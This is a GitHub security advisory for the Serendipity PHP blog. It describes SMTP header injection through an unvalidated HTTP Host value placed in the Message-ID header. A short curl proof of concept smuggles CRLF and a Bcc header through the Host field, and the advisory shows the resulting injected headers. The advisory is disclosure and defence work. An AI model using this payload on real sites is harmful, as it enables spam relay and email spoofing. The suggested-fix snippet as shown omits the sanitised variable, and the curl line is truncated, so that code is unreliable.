Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header

High **onli** published **GHSA-458g-q4fh-mj6r** yesterday

Package

php **s9y/serendipity** (Composer)

Affected versions	Patched versions
<= 2.6-beta2	2.6.0

Description

Summary

Serendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details

In `include/functions.inc.php:548`:

```
$maildata['headers'][] = 'Message-ID: <'
    . bin2hex(random_bytes(16))
    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled
    . '>';
```

The existing sanitization function only blocks `\r\n` and URL-encoded variants:

```
function serendipity_isResponseClean($d) {
    return (strpos($d, "\r") === false && strpos($d, "\n") === false
```

```
        && stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}
```

Critically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as:

- New comment notifications to blog owner
- Comment subscription notifications to subscribers
- Password reset emails (if configured)

PoC

```
# Trigger comment notification email with injected header
curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&sere
  http://[TARGET]/comment.php
```

Resulting malicious `Message-ID` header in outgoing email:

```
Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >
```

Impact

An attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables:

- **Identity spoofing** — emails appear to originate from attacker-controlled domain
- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers

Suggested Fix

Sanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:

```
$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '',
    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';
```

Severity

High 7.2 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-39971

Weaknesses

▶ CWE-113

Credits

mabjr33 Reporter